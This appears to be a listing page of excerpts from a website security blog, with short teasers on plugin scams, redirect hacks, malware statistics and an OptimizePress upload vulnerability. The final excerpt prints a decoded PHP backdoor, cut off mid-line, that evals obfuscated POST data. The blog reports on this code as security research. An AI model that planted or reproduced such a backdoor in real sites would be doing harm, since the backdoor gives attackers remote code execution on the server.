Unmasking “Free” Premium WordPress Plugins
Denis Sinegubko WordPress has a large repository of free plugins (currently 30,000+) that can add almost any functionality to your blog. However, there is still a market…
Mysterious Zencart Redirects Leverage HTTP Headers
About a week ago we got an interesting Zencart case. Being that we don’t often write about Zencart we figured it’d be good time to…
Darkleech + Bitly.com = Insightful Statistics
This post is about how hackers abuse popular web services and how this helps security researchers obtain interesting statistics about malware attacks. We, at Sucuri,…
Friday the 13th – A Gallery of Webmaster Nightmares
This post is dedicated to all you geeky horror movie fans out there! One morning you open your website and don’t recognize it. Something is…
WordPress OptimizePress Theme – File Upload Vulnerability
We’re a few days short on this, but it’s still worth releasing as the number of attacks against this vulnerability are increasing ten-fold. The folks…
The Story of Clip:rect – A Black Hat SEO Trick
We regularly write about Black Hat SEO hacks here. Such hacks help hackers monetize their access to compromised sites by incorporating them into massive schemes…
PHP://input Backdoor
Just came across this backdoor (decoded): @error_reporting(0); @ini_set(“display_errors”,0); @ini_set(“log_errors”,0); @ini_set(“error_log”,0); if (isset($_GET[‘r’])) { print $_GET[‘r’]; } elseif (isset($_POST[‘e’])) { eval ( base64_decode(str_rot13 (strrev(base64_decode (str_rot13($_POST[‘e’])))))); } elseif (isset($_SERVER[‘HTTP_CONTENT_ENCODING’]) && $_SERVER[‘HTTP_CONTENT_ENCODING’]…